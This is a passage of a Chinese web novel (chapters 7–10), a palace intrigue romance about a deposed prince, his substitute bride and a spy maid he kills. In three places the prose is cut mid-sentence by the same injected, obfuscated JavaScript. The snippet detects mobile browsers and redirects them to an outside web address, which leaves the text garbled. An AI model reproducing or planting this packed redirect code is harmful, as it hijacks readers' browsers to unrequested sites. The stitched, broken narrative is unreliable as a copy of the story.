她眼神坚定而认真,带着九死犹未悔的孤勇。 赵明斐瞳孔几不可察地缩了下,说不清这一刻是什么感受。 7. 第 7 章 出了这档子事,今日画是学不成了。 江念棠眼下青黑,满脸遮不住的疲惫,赵明斐知道她昨夜守着青梅一整晚没有合眼,难得有种被人保护的感觉。 他体贴道:“你一晚上没睡肯定累了,先回去休息,剩下的交给我。” 江念棠强忍着困意,不放心叮嘱道:“殿下,她不可能是独自行动,西巷口一定还有其他帮凶,昨夜我打晕她后不敢声张,怕打草惊蛇。” 她在全心全意为赵明斐打算,殊不知后者看她的眼神中带着凌厉的审视,想从她身上找出一丝虚情假意。 赵明斐面无表情地想,这也许是她们主仆之间的苦肉计,好让江念棠取信于他,毕竟她们也不能保证这封信能顺利带出西巷口。 “您一定要审问清楚!包括她平日里有机会接触的人,亦或者主动接近她的宫人……对了,还要检查高处的树杈,上面有没有奇怪的记号。”江念棠眉头紧蹙,努力回忆江府内宅里常见的害人手段。 他看她一脸认真地分析所有的可疑之处,看她绞尽脑汁地在为他出主意,又觉得她似乎真的是在竭尽全力帮他找细作。 江念棠抬头时,赵明斐的眼眸已经变得温和。 “别担心。”赵明斐笑了下:“我在处理这样的事情上还算有些心得。” 江念棠登时噤了声,脸上浮起一层淡淡的尴尬。 和赵明斐相处的这段时间里,他表现得宽容善良,温和儒雅,总让人有种心慈手软的感觉。差点忘记他曾经主导一场轰轰烈烈的变革,引发举国震动。 他当太子的时候,主张推行许多有利于平民百姓的政令,推崇不拘一格降人才,除了科举和世家举荐这两条选拔人才的途径,还开设不同的机构,吸纳各类人才为朝廷所有。 这相当于跳过士族网罗人才,切断官员之间的利益网,直接动摇他们的根基,故而遭到无数抵制和谩骂。 赵明斐也因此遇到数不清的刺杀,但他不仅次次避开,还抓住把柄反制士族,让这项变革取得了巨大的成功。 有一段时期大虞朝人才涌现,各种奇技巧技层出不穷,算数、医术、纺织、事农等空前发展,顾焱也因此获得了千载难逢的机会。 他从某种意义上来说算得上顾焱的伯乐。 江念棠心里是感激赵明斐的,他曾给了他们一个充满希望的未来,如今更是成为她不能言说的寄托。 —— 青梅醒过来的时候发现自己被蒙着头,眼前黑乎乎一片,手脚被捆着不能动弹躺在地上,后背一片冰凉,头和后颈酸痛异常,深呼吸好几次才缓过劲儿。 突然,她的头罩被取下。 入眼是一间废弃的厢房,家具破败不堪,密密麻麻的蛛丝粘连在各处,明明是青天白日,屋内却阴森森的,四周的空气散发着腐朽的死气。 阳光从破了洞的窗棂中照进来,穿过一张巨大的蛛网,蛛网中间有一只飞蛾被黏住,挣扎间反射着千丝万缕冰冷的光。 “你有三句话的机会交代。” 青梅眼前出现一双白底银纹的皂靴,视线上移是赵明斐看不清表情的脸。 他垂着眸,有种居高临下的压迫感。 赵明斐温和劝告她:“不要说谎。” 青梅张口便是:“大皇子,我冤枉啊!” 赵明斐对青梅笑了下,眼神却淡漠如冰。 青梅后背无端沁了层冷汗,她强打精神艰难起身,跪正低头避开他的眼睛,准备说出刚刚编造的谎言:“昨日我……呜……” 一把剑从她后背穿过。 青梅胸口突然传来难忍的剧痛,而后听到头顶一声轻叹。 “我的意思是,一句话也不能说谎。”赵明斐利落抽出长剑,轻声道:“我的耐心实在有限。” 青梅不可思议地看着胸前染血的剑刃,鲜血顺着剑尖滴在地上。 她张口还想说什么,却只能吐出大口的鲜血,旋即砰的一声倒在地上,渐渐没了声息,无法闭合的眼珠瞪着窗口方向。 蛛网上的飞蛾,正被蜘蛛一点一点蚕食殆尽。 赵明斐慢条斯理擦拭着剑,“处理好。” 他从未离开过书房,昨天夜里发生的一切他都在黑暗中看得清清楚楚。 左思点了点头,他不确定地问:“殿下已经确定幕后主使是江家了吗?” 青梅是江盈丹院子里的人,在江念棠出嫁前一天指派过去给她做陪嫁婢女。 赵明斐嗤笑一声:“他们没那么傻,做这种事用自己人,弄不好要诛九族的。” 西巷口作为圈禁重地,擅自传递消息是在藐视皇帝威严,往大了说能扯上意图谋反的死罪。 左思不解,什么都没问出来就杀了,是不是太草率? 赵明斐看出他的疑惑,眉头微挑:“去问江念棠。” “看看她,到底有多爱我。” 江念棠一夜未眠,几乎是强弩之末,但她又睡不着,只能躺在床上睁着眼。帐顶是素青色的纱,没有花纹,日光轻而易举漏进来。 盯着光的眼睛逐渐酸涩,她渐渐闭上眼,本打算假寐片刻,却不知不觉睡了过去。 再次转醒时,天色已暗,屋子黑乎乎的一片,她下意识摸索着要下榻点灯,却忽然摸到一个人的手! 她吓得倒吸一口凉气,正要出声喊人。 “是我。” 赵明斐? “看你在休息,便没有点灯。” 江念棠动了动喉咙,压下胸口那股惊颤,急忙问:“殿下,结果如何,她招了吗?” 回答她的是沉默。 隔着黑暗,江念棠看不见赵明斐的表情,心逐渐沉了下去。 难不成青梅还有后手,且已经造成了不可估计后果。 赵明斐就这么坐在床前,冷眼看着江念棠两条柳叶眉拧成一团,脸上先是出现惊慌,而后变为担心。 他有个旁人不知的秘密,能在黑夜中如白昼般视物。 人在黑暗中或因恐惧,或因放松会展露出自己最真实的一面,他借助黑暗看清了许多人的真面目。 赵明斐欣赏够她的担忧后,温声开口:“青梅自戕了。” 江念棠瞪圆了眼,显然没想到会是这样的结果,但她很快冷静下来给赵明斐出主意。 “殿下,不如用她的死找出西巷口里的同伙。我们可以假装她生病,再派人看着谁会去探病,尤其是在夜深人静之时不走寻常路的去。青梅自幼长在江府,根本不会认识西巷口里的宫人,除了同伙我想不到其他人。” 好聪明的姑娘。 赵明斐忍不住露出欣赏之色,她竟然与他的想法不谋而合。 江念棠补充道:“除了亲自前往探病的,还有旁敲侧击打听她病情的,统统要抓起来审问一番。” 她皱着眉,眼睛半眯,条理清晰地分析计划的可行性,不时冒出几个新奇的点子,她认真思考的模样被赵明斐尽数看在眼里,真心实意的表情令他微微动容。 江念棠的确诚心实意为他着想。 赵明斐勾起唇角,问她:“你觉得是谁指示她做的?” 这次换成江念棠沉默。 赵明斐的笑渐渐敛了下来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405074|168733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他的声音依旧温柔,眼神却寒如凉夜,“是江夫人,还是江家要害我?” “不。”江念棠毫不犹豫否认:“江夫人不会做这样的傻事。” 江夫人为人玲珑八面,绝不会轻易得罪任何人。赵明斐看似失势,可谁能保证他不会东山再起,即便这个机会渺茫,她也不会赌这万一。 选江念棠作为替嫁人选,为的是稳妥,而非给江家招恨。离府前,江夫人还特地交代她能讨赵明斐欢心最好,若不能也不要得罪。 皇帝年事已高,只要皇位上一天没有坐上新皇,任何人都有机会问鼎龙座。江夫人若是真想害赵明斐,会把这个任务交给身为正妻的她,而非一个连赵明斐面都见不了的奴婢。 赵明斐循循善诱:“可青梅是江盈丹的人,江盈丹又是江夫人的掌上明珠,除了她还有谁?” 江念棠咬住下唇,眼里闪过震惊,纠结,最后变成不忍心和心疼。能同时将手伸进江家后宅和西巷口的,她只能想到一个人,可这怎么可能呢? 赵明斐轻叹一声:“算了,我得罪太多人,想要我命的何止是一个江家。” 江念棠听他自嘲道:“我已经躲进西巷口,他们还不肯放过我。罢了,你好好休息,不用管剩下的事情,知道的越少,对你越好。” 他起身离开床榻的刹那带起一阵凉风,冰冷的风钻入她的鼻腔,弥散入体,后背无端生出冷汗。 江念棠莫名有种预感,今日赵明斐离开后,她怕是再也找不到理由接近他。 自从顾焱死后,她变得害怕黑暗,入夜后总要点亮满屋的灯,但内心的空洞荒芜,再多的光也无法填满。 唯有在看见赵明斐笑的时候才会缓解一二,如今连这点奢望好像也要被剥夺。 江念棠顿时陷入恐慌中,原来她自以为的坚强如此脆弱,一缕微不足道的风就能轻而易举将她推倒,她害怕失去与顾焱相关的最后一点东西。 “殿下……”她在黑暗中胡乱地抓,在赵明斐彻底离开床榻前勾住他的尾指,她抓紧后死死攥住:“殿下心中早已有答案,不是吗?” 赵明斐停住了脚。 江念棠怕他再次离开,怕独自面对黑暗,恐惧让她将心里的顾忌尽数打散。 “是陛下,青梅是陛下的人。” 黑暗中,她感受到赵明斐的五指慢慢收拢,好像在极力克制住自己的情绪,粗重的呼吸环绕在耳边。 江念棠头一次感受到赵明斐明显的愤怒。 据说当年他出生时皇帝喜极而泣,大赦天下,更是为他阅尽群书,亲自定了“斐”这个字,寓意斐玉成器。 皇帝对他的喜爱天下皆知,他不是嫡子,就让他寄养在皇后名下。亲自教他读书识字,骑射舞剑,七岁带他议事,十岁允他参与朝政,十四岁赵明斐已经能够主理一方政务,他主张的改革也得到皇帝的大力支持。 他对赵明斐的偏爱有目共睹,故而江念棠猜测幕后主使是皇帝时才会心情复杂,不敢直言。 赵明斐无声扯了扯唇角,重新坐回榻上,反手握住江念棠的手,讥笑道:“要我死的人是皇帝,我必死无疑。” 隔着黑暗,他问:“江念棠,你如今可后悔嫁给我?” 赵明斐面无表情盯着江念棠的脸,不放过她的任何一个细微的表情。 这一刻,他自己也说不清楚想从江念棠嘴里听到什么回答,是贪生怕死的恐惧,心有不甘的怨恨,亦或是虚与委蛇的奉承。 自他掌权以来,赵明斐罕见体验了一回等待宣判的滋味。 江念棠毫不犹豫回答道:“从未。” 8. 第 8 章 她的回答在赵明斐意料之中,但她的表情却出乎他的预料。 在赵明斐的预想中,江念棠至少应该犹豫一下。 他的话说得十分明白,皇帝想要他的命,江念棠嫁给他意味着必死无疑。 然而无论是在光里还是暗夜,她的眼神都如出一辙坚定。 在他被贬的这段时间里,已经有许多人认定他九死一生,忙着跟他撇清关系,还有不少人明里暗里倒戈他的政敌,对他反踩一脚,落井下石。 譬如江盈丹,她从前表现得非自己不嫁,然而在最后关头还是选择保护自己的荣华富贵。至于其余还想嫁给他的人,都是抱着以小博大的心思赌一把。 但江念棠和她们不一样,她是被迫嫁给他的。 赵明斐若是不点破她偷看自己练剑,恐怕她至今还龟缩在云梦阁,不会主动来找他。 他惊觉或许自己在新婚夜见到她的第一眼时,他就不算讨厌她,否则她活不过当晚,更不会主动教她画画。 不可否认,当她说出这两个字的这一瞬,赵明斐不得不承认自己的心莫名颤了下,细微却真实存在。 曾经他还是太子的时候,为他效命赴死的人如过江之鲫。可唯有江念棠,在他前途未卜,命运难测之时,愿意与他风雨同舟,患难与共,为了保护他拿起武器,为了他彻夜不眠,为他绞尽脑汁。 她这么爱他,他给一点回应也不是不可以。 江念棠忽然被人往前拽,头被赵明斐按在怀里,紧接着听见一声愉悦闷笑。 “江念棠,往后剩下的日子我们好好过。”赵明斐一字一顿道:“你想要什么,我尽我所能满足你。” 他说这话的语气缓而沉,胸腔微微震动。 江念棠的耳朵贴在他的心口上,眼眶一热。 他们连心跳都如此相似。 江念棠忍住落泪的冲动:“我想要你好好的。” 好好活着,好好在她身边。 赵明斐轻轻拍了拍她的后背,安抚道:“我们都会好好的,天无绝人之路,总有办法能挣出一条活路。” 在江念棠看不见的地方,赵明斐眼眸渐渐染上几分阴冷。 无论是皇帝,还是皇后,亦或者那些处心积虑要除掉他的士族,他们的好日子不远了。 他的活路,就是他们的死路。 * 烟波洲二层,赵明斐拆开今日刚送上来的密信,信纸有好几页。 信上说严珩一等人已经从悬崖底顺利离开,成功绕过士族掌控的城池,到达西北边境黎城,与黎城的赵统领会合,他们点齐兵马正从边境赶回京城,让赵明斐不用担心,一切顺利。 左思见他眉头微拧,手不停地翻动信纸,心里打了个突。 莫非严大人那边出了什么问题。 严珩一是赵明斐的伴读,从小一起长大。 但是在几年前,两人因为政见不合经常在朝堂上争论不休,甚至到了剑拔弩张的程度,许多人明面上都惋惜两人曾经的情谊。 这次调查江南盐税一案之所以选严珩一去,也是因为朝中相信他绝不可能被收买。 然而鲜有人知,无论是在数年间的针锋相对,还是这次的钦差坠崖,都是赵明斐安排一局棋,为的就是将士族们盘根错节的势力从大虞朝连根拔起。 强盛的王朝被一群蛀虫慢慢腐蚀,已经到了危在旦夕的边缘,士族们却每日饮酒作乐,醉生梦死,将卖官鬻爵作为生财之道,打压农商,百姓苦不堪言。 赵明斐读信的速度越来越快,到最后眉宇间透着明显的不耐烦。 左思缩着脑袋,大气儿都不敢出,躬身贴在墙角。 "他倒是出息了。"赵明斐冷笑了声:“正事没讲多少,邀功倒是挺勤快的。” 严珩一照例说了一大堆自己这次的任务有多辛苦,山里的路难走,蚊虫又多,不过幸好跟去的人中有人带了驱蚊香囊。但是吃得不好,睡得也不好,在山林穿梭近一个月,快成了野人,请赵明斐无比等他回来后大大补偿。 左思敏锐察觉出殿下的大事没问题,是严大人又在作妖,心里松了一口气,笑问道:”殿下,严大人又问您要什么赏赐。" 这些年每当两人在明面上斗得你死我活,导致严大人不得不去做某个痛苦的差事时,私底下总会提上一两个要求以作补偿,只要不过分殿下一般都会应允。 赵明斐语气淡淡道:“他这次不仅自己要,还替其他人要,说是跟他去的其中一个护卫救了他一命,激动得当场拜了把子,还大言不惭地给人保媒。最后发现自己兜不住,请我出面帮忙解决。” 手里的信放在烛台上点燃,扔进旁边的汝窑天青釉笔洗中,残余的灰烬里,隐约可见“赐婚”二字。 赵明斐没说答应,也没有说不答应。 左思知道这多半最后还是拗不过严大人的请求会帮他办成,笑呵呵打趣:“严大人自己的亲事还没着落,怎地做起别人的媒来了,还拉上殿下。可见这位新认的兄弟在他心中分量不轻,不知是哪里人士?” 严珩一平日里看着平易近人,实则眼高于顶,没点真功夫入不了他的眼。 “他没说姓名,只说是京城人士,无父无母。”赵明斐没把这点小事放在心上,他看了眼天色,准备去云梦阁用午膳。 那夜他问江念棠想要什么,她说希望赵明斐在闲暇之余能抽空来陪她用膳。 赵明斐走在路上时问起左思东西准备得如何了。 左思苦着脸:“给大皇子妃的东西都准备齐全了,可要用什么理由给她送过去。” 当初云梦阁都是按照圈禁标准来的,现在忽然冒出这么一堆华贵精美的物件,任谁也会起疑心。 赵明斐正巧路过审问青梅的废殿,遥手一指。 左思愣了下,恍然大悟道:“就说是从这些废殿里面拾掇出来的!” 他怎么就没想到! 西巷口原本是前朝皇帝为了某位宠妃所建,后来这位妃子失宠后投湖而亡,从那以后这片建筑宫殿中时常闹脏东西。许是前朝皇帝心虚,渐渐将此处列为禁地,平日里不许人靠近,连同之前赏赐的东西都尘封在殿内,落满泥灰。 赵明斐踏入云梦阁时,江念棠正将从后山移栽回来的茉莉花和栀子花剪了几枝,往桌上的缠枝青瓷梅瓶上插,她认真的模样令赵明斐不禁驻足于门前。 日光从她背后的窗棂透过,侧脸被镀了一层淡金色的光,耳垂的珍珠坠子晃出细碎的光晕,青纱袖口被微微挽起,露出半截莹白的手腕,有种岁月静好的温柔。 她长睫轻垂,不断调整花枝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405075|168733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的高低,修长细腻五指比花更白,亮得发光。 江念棠终于摆弄出令她满意的花姿,转头一看,赵明斐站在门前。 她招呼道:“殿下怎么不进来。” 赵明斐移步,在江念棠起身前按住她的肩,自顾自坐在旁边圆凳上,答道:“瞧你玩得兴起,便不想打扰。” 江念棠边用帕子一根一根擦干净手指,边笑着回他:“有什么打扰不打扰的,我本来就是为了殿下来用饭才弄的,巴不得您早些过来。” 一顿简单的午饭,被她弄得格外隆重。 下面人回禀,她从天不亮就开始准备迎接他。 小院的青石板路没有一片落叶,屋子打扫得一尘不染,饭桌上的布换成了新的,屋内花瓶里插着新鲜的花,凑近看还能找到晨露的痕迹。 陈旧的屋子整洁干净,空气中散发着盎然生机。 江念棠自己也认真打扮了一番,不过她梳的是女子未出阁丱发,仅将长发简单盘在脑后,而非妇人高髻,簪了几朵淡色海棠绢花,轻盈的花瓣随她的身体而晃动,楚楚动人,绰约多姿。 赵明斐忽然有种被重视的感觉。 不同于他当太子时,旁人顾忌他的身份权势,不得不小心谨慎相待。 江念棠如此待他只因为他是赵明斐。 她指着瓶里的花,献宝似的问:“殿下觉得好看吗?” 赵明斐眼眸微动,看向花朵的眼神多了几分真实的温柔。 “好看。” 江念棠笑意更深,眼底潋滟发亮,“殿下喜欢就好。” 午膳是四菜一汤,都是些清淡的小菜,胜在新鲜。 江念棠发现赵明斐只用了小半碗饭,问他是不是饭菜不合口味。 房间里浓郁的花香让人有点头晕目眩,香气黏腻,连带嗅觉也变得迟钝。 赵明斐端起茶杯抿了口,压下喉头那股不适,借口道:“天气炎热。” 一缕清风蓦地驱散鼻尖馥郁的浓香。 江念棠手执绢扇,在他耳边徐徐地摇,劝道:“食必以时,虽毋求饱,也不能挨饿,殿下再多用些,” 赵明斐本想拒绝,然而在对上她恳切的眼神后改了主意,“好,听你的。” 她只是想要他多用点饭而已,又不是什么大事,何况她是为他好。 站在门口听候差遣的左思却暗自心惊,赵明斐是个极有主意的人,这么多年来,他从未见过有谁能让殿下改口,不禁在心底重新评估江念棠在赵明斐心中的分量。 一顿午饭结束,赵明斐起身离开。 他走到院门口时,后面忽地传来江念棠不舍地呼唤。 “下次什么时候来?” 赵明斐驻足回头,他背对着光看不清脸庞,挺拔俊秀的身影令人心折。 “明日午时。” 江念棠回以微笑,侧着手掌贴唇大喊:“我等你。” 赵明斐转身离开。 在他消失的那一刻,江念棠的笑淡了下来。 她靠在门边,眼眶微热,喃喃道:“千万别忘了。” 世事无常,主客易位。 江念棠如今终于体会到顾焱在过去十余年里等待她的滋味。 翘首以盼。 急不可耐。 惴惴不安。 9. 第 9 章 赵明斐慵懒靠坐在竹藤摇椅上,缓缓地摇着,他微偏过头,手里拿着今日刚送上来的密报。 信上说严珩一带的三千人分批乔装潜入京城,第一批成功到达,最后一批预计十日内抵达,计划照常进行,最后还不忘跟他讨要军费。 面对信中索要的巨额的钱财,赵明斐眼也不眨地给双倍。 这些年他包庇“贪官”,成为富商的“保护伞”,不仅收受孝敬,还派人参与经营,累积下的钱财比国库还多。 皇帝封的东宫库房,与他自己的私库相比堪称九牛一毛。 左思走进来时,赵明斐正漫不经心点燃手里的信纸,眸色幽黑,透不进光。 他不笑的时候周身会无意识散发出凌冽的压迫感,有种生人勿进的威慑力。 左思不禁放轻脚步,屏息唤了声殿下。 “今日的午膳大皇子妃点了光明虾炙,脍鱼片,水盆羊肉,槐叶冷淘,还有道点心单笼金乳酥。” 左思低头在桌上放下两块金锭。 下一刻,赵明斐拿起东西掂了掂,挑眉道:“又给这么多?” 大虞的一两黄金能换两百旦白米,或五百斤猪肉,而一个五口之家一年只需十旦大米足以,他手里这些金锭够换五百旦白米,即便放在宫内也是笔不小的数目。 左思恭声道:“大皇子妃怕下面办事怠慢,送上来的东西不合您的心意。” 那日江念棠见赵明斐没什么胃口,以为是菜不合口味,故而向左思打听西巷口有没有方法能弄点好的吃食。 西巷口虽然是禁地,但每日会有宫人送补给进来,只要利益足够大,总有人愿意冒险一试。 左思正愁找不到理由给江念棠改善伙食,这简直是瞌睡来了送枕头,他立刻表示这事儿包在他身上,江念棠只需提要求。 江念棠也不让他白跑,转手拿出两块金锭,告诉左思不够再来问她要。 左思推辞,但江念棠执意硬塞,表示这些都是自己的口腹之欲,不能让殿下出钱。 她平日里爱吃清粥小菜,点的菜却是荤腥居多,为谁而点一目了然。 这件小事让左思对江念棠印象极好。 宫里的主子们都眼高于顶,完全不知底下人的艰辛,就比如这给银子买菜的事,江念棠每次都会给两份,意思很明显,一份给暗度陈仓冒风险的宫人,另一份给他这个跑腿的辛苦人。 没有人会不喜欢大方的主子,即便这钱左思不要也不妨碍他愿意替江念棠适时美言两句。 赵明斐闻言,懒洋洋地坐直身子,将金锭放进书桌的盒子内,底下铺满差不多大小的硬块。 看着日渐增多的钱财,他笑了笑,压抑的氛围顿时轻松了些。 “走,用膳去。” 最初他是为了奖励江念棠才陪她用膳的,原本只打算吃个一两次。她这么爱他,愿意在他落难之时不离不弃,这样的真心理应得到嘉奖。 然而后来,他不用江念棠派人来请,变成到点自己去报道。 赵明斐从小吃着山珍海味长大,江念棠点的菜于他而言不过稀松平常,但不知道为什么,他喜欢和她一起吃饭的感觉。 大虞遵照食不言,寝不语,用膳不同桌。 他自记事以来都是一个人吃饭,家宴、国宴之类的都是单人单桌,菜品独享。据说是因为前朝有一起皇宫投毒案,当时不少人同时用了,最后酿成重大惨剧,连一国之君都成了受害者之一。 从那次起,上至皇宫贵族,下至达官贵族,府里有条件的皆按照此标准用膳,以防万一。 然而江念棠表示不愿意跟赵明斐分桌而坐,她提的要求是“一起”用饭,包括同吃一道菜。 不仅如此,她在饭桌上时的话还会比平常多一些,虽然大多时候都是她在自言自语,说一些没有实质意义的话。但正因如此,他不需要猜江念棠哪句话,哪个字别有深意。 温柔的声音,爱慕的眼神,分享食物的新奇,都是他此前从未感受过的。 赵明斐觉得和她待在一起很放松,无论是身还是心。 用膳对他来说不再是一件冷冰冰的事,更不是虚与委蛇地应付,而是充满着喧闹的温暖。 去的路上天忽然阴下来。 赵明斐刚踏入云梦阁,忽地一声惊雷劈下。 江念棠面如常色地坐在屋檐下,在看见赵明斐的瞬间,登时笑容满面起身。 “殿下来了!”江念棠提起丁香色裙角朝他跑来,兴高采烈告诉她:“今天有虾、鱼和羊肉,还有点心。” 赵明斐早已知晓,却配合地露出恰到好处的惊喜。 两人刚落座,外面的雨淅淅沥沥下了起来。 饭桌上,江念棠在说自己从前的事。 “我最喜欢过年,江夫人会给每个小姐赏赐好看的首饰。”她说着说着忍不住噗嗤一笑:“她们喜欢漂亮的,我喜欢金子多的。” 赵明斐看了眼桌上的菜肴,她除了几块甜点,几乎没动什么筷子,他夹了一片羊肉放进她的碗里,说道:“我现在正是托你的福才能顿顿吃上肉。” 江念棠笑意更甚:“殿下想吃什么只管告诉我,还有用的物件,我尽可能、不,一定想办法帮您弄来。” “你对我这么好,”赵明斐侧头望着江念棠,眼眸染上三分笑意:“我能为你做点什么?” 昏暗的屋内燃了烛,暖光只落在赵明斐的上半张脸,模糊掉他锋利的下颌线,一双浮着碎光的双眸望过来时像有火焰在燃烧。 江念棠被烧得整张脸染成酡红,直愣愣看着他,眼里的爱意毫不掩饰。 赵明斐觉得有些好笑,她刚来西巷口的时候性子沉静如水,又耐得住寂寞,怎么看也不像这样奔放无拘的人,现在忽然像变了个人似的。 但他喜欢她的改变,喜欢她因他而改变。 赵明斐看着傻愣愣的人,忍不住伸手捏了捏她的脸颊。 江念棠的脸像烙铁般烫,又如丝绸般细腻。 屋外的雨下得愈发猛烈,赵明斐顺势留下来教江念棠画画。 江念棠之前练习画竹已经打下一定基础,赵明斐便决定教她心心念念的丹青图。 等他绘好用来临摹练习的简单侍女图后,江念棠轻轻扯住他的袖子,低声在他耳边说了句话。 雨打在屋檐的噼啪声完全盖过她气若游丝的呢喃。 赵明斐微微俯身,偏头问:“你说什么?” 江念棠咬住下唇,淡粉色唇边快要变成桃花红时才抬头重复了遍:“可以不可以学画殿下。” 她说完后把头埋在胸前,紧张得大气都不敢出。 赵明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405076|168733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斐听后怔愣了下,旋即发出一声意味不明的笑,羞得江念棠脖颈红成一片。 赵明斐另起一张纸铺好。 他像上次教她画竹一样,微微俯身把人搂在怀里,手包裹住她的整个手背在纸上游走。 江念棠的身体一如既往僵硬如顽石。 赵明斐轻笑了声,意味深长道:“怎么还这样害羞,以后可怎么办?” 江念棠偏过头默然不语。 难以入眼的灯罩随风缓缓转动。 赵明斐瞧见她羞窘望向墙角的灯,只作未察,心底蓦地产生某种奇妙的悸动。 窗外的雨嘈嘈杂杂,屋内静如寂夜,他们彼此间的呼吸声清晰可闻。 “看看,这样你喜欢吗?” 江念棠低头只看了一眼,便无法移开目光。 画中的男子在舞剑,他身穿圆领窄袖白衣,右手持长剑回眸而望,恰好遮住下半张脸。 一双微弯的点墨黑眸直勾勾看过来,他的视线仿佛能穿透时空,抵达江念棠的眼前。 “喜欢。”江念棠忍住心中难以言喻的激动,微哑着嗓子重复了一遍:“我很喜欢。” 赵明斐闷笑了声,半点没有因为画的是自己而不好意思:“你喜欢就好。” “谢谢殿下。” 江念棠觉得自己卑劣不堪,根本不敢抬头去看赵明斐的眼睛,她的手指紧紧攥住衣角,试图掩饰眼里的窃喜。 她现在满脑子都是找个地方躲起来,但理智让她强行忍住这股冲动。 江念棠耐着性子,握笔苦练一直到日暮雨停。 在赵明斐不厌其烦地耐心指导下,江念棠的画从一开始看不出是什么东西,到最后勉强有个人样。 赵明斐翻看江念棠一下午的成果,疑惑道:“怎么都不点上眉毛和眼睛。” 江念棠眼眸微动,笑容有些勉强:“我画技拙劣,怕画上五官给殿下摸黑。”她怕自己在赵明斐面前失态,露出破绽。 利用赵明斐满足自己的私欲已经是罪大恶极,她实在做不出面前明目张胆地在他面前画出另一个男人,甚至还是打着他的名义。 赵明斐微拧着眉看向画上空白的脸,心里总觉得哪里不对劲,不过一时半会想不出缘由。 正巧左思进来说有要事需要处理,赵明斐只好先把这种怪异的感觉压下去。 江念棠送赵明斐出去。 一路上,他余光觑见身旁人的嘴角难以抑制地高扬,眼里闪动不同寻常的激动。 赵明斐等江念棠转身返回云梦阁后在原地站了一会。 她步伐匆匆,三步并作两步往厢房走,到最后几乎小跑起来。 “这么喜欢那幅画?” 整个下午,江念棠都心不在焉,每隔半刻钟或者更短,她的目光便不自觉偷瞄那幅画一眼。 虽然她极力掩饰,但仍难逃赵明斐的眼。 —— 入夜,星星重新落在天幕上,昭示明日是个大晴天。 江念棠仔细放下床帐遮挡严实。 她半跪在床榻上,缓缓打开赵明斐今日画的丹青图。 熟悉的眉眼与她的目光相触一刹那,江念棠捂住口鼻,潸然泪下。 时隔百余日,她终于,终于得再见他。 满夜星空,灿若繁花。 10. 第 10 章 江念棠忽然在画技上开始下苦功夫,短短几日进步神速,已初具神韵。 赵明斐放下手里的书卷,踱步走到江念棠身边,说了句画得不错,等半天也不见她继续下笔,凝眉道:“怎么不继续了?” 画中的青衣男子高举长剑,衣袂飞扬,脸上却是一片空白。 江念棠握笔的手一紧,抿了抿唇道:“画得不好,怕殿下笑话。” 更怕赵明斐认出画中的人不是他。 赵明斐直接握住江念棠皓白的手腕,举重若轻描绘出人物的神态,他盯着她的侧脸问:“看清楚了吗?不会我再教一次。” 江念棠紧张得手心隐隐出汗,几乎难以握住笔,她低声道:“看清了。” 赵明斐放开她,站在一旁淡淡道:“画吧,我看着。” 江念棠艰涩地动了动僵硬的手指,重新取来一张纸临摹,她故意拖延时间盼望左思有事进来找赵明斐,可直到她画完全身,连人物衣饰都上好颜色,他也没有挪动脚步的迹象。 赵明斐就这么站在她旁边,一言不发看她画。 看不见他的脸,江念棠心里莫名发慌,纵然知道赵明斐性情温和,却仍难以遮住他身上与生俱来渗出的威压。 尤其是她现在正心虚着,赵明斐的存在变得难以忽视,甚至在不断放大。 厢房里静默如寂夜,江念棠艰难举着仿佛有千斤重的笔,不知从何处下手。 赵明斐依旧没说话。 江念棠顶不住他的压迫感,颤抖着手落笔。 好好的一幅画被她毁了个干净。 赵明斐突然笑了一声,“我好像没有骂过你,怎么手抖成这样?画不好没关系,慢慢来就是,教一遍不会就教第二遍,第二遍不会再教第三遍、第四遍,总能学会的。” 江念棠心里有鬼,讪笑道:“谢谢殿下,只怕我太愚笨,白耽误您的工夫。” “现在我也没有旁的闲事,何来耽误?”赵明斐重新握住她的手,顿时感到一片冰凉,他几不可察地动了动眉,手里的动作却没停。 随意修改几笔,挽救了一幅画作。 “殿下画得真好,我自愧不如。”江念棠不走心地夸奖,压下眼皮掩饰内心的羞惭:“要不我还是不学了。” 赵明斐温和安慰她:“一幅画而已,画不好也没关系,又不是要当名家宗师。不想学了也没关系。你想要什么画可以告诉我,当是我的饭钱。我的画技虽称不上妙手丹青,却也强差人意。” 他这话实在是自谦。 赵明斐于丹青上的绘画天赋连当朝名家大儒都赞不绝口,他曾有一幅美人春困图流传到民间,见过之人无一不惊叹画技传神,美人如同活过来一样,不少观摩者忍不住伸手去触摸,确认她是不是真人。 上京贵女们以得到他的丹青图为荣,即便他被罢黜,画作仍是千金难求。 江念棠正是因为见过嫡姐江盈丹房里惟妙惟肖的丹青,才有了和赵明斐学画的冲动。 